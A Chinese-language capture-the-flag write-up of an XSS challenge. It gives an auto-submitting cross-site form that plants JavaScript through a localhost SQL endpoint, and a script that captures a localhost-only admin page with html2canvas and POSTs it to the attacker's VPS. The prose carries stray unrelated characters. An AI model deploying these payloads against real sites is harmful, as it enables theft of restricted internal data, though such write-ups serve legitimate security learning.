寫在前面
巔峰極客挑戰(zhàn)賽中暮顺,做到檸檬師傅出的題乖篷,由于自己的js水平太渣渣响驴,這個題做了很久,于是趕快寫文記錄自己的解題過程撕蔼。
描述
主要是XSS豁鲤,網(wǎng)站中允許輸入一個地址,管理員會使用chrome瀏覽器打開該網(wǎng)頁鲸沮。并且該網(wǎng)站存在一個能寫入js代碼的頁面琳骡,最后flag藏在一個頁面中,該頁面在服務器配置時設置只允許127.0.0.1訪問讼溺,其余為403錯誤楣号。
思路
通過對該網(wǎng)站寫入js代碼,讓127.0.0.1訪問我們寫好js代碼的頁面怒坯,最后得到flag頁面炫狱。
過程
首先,先寫一個自動提交form表單的頁面
<script type="text/javascript">function autoSubmit(){ document.getElementById("myForm").submit();}</script><body onload="autoSubmit();" ><form id="myForm" action="http://127.0.0.1/runsql.php" method="post"><input name="sql" value = "select unhex('hexjs')" onChange="if (this.selectedIndex != 0) autoSubmit();">
</form>
當我們讓管理員訪問這個頁面的時候剔猿,管理員就會post數(shù)據(jù)到本地的runsql.php頁面视译,這時runsql.php頁面上就會有我們的js數(shù)據(jù)
接下來構造js:
<html>
<body>
<iframe id="mysql" width="778" align="center" height="200" id="win" name="win" onload="Javascript:SetWinHeight(this)" frameborder="0" scrolling="no" src="admin_zzzz666.php"></iframe>
<script type="text/javascript" src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
<script type="text/javascript">
var mysql = document.getElementById("mysql").contentWindow.document;
html2canvas(mysql.body).then(function(canvas) {
var xmlhttp;
xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","your vsp",true);
xmlhttp.send(canvas.toDataURL());
});
</script>
</body>
</html>
這個頁面會自動獲取同源網(wǎng)頁的頁面,然后發(fā)送到vps上归敬。最后就能得到flag了酷含。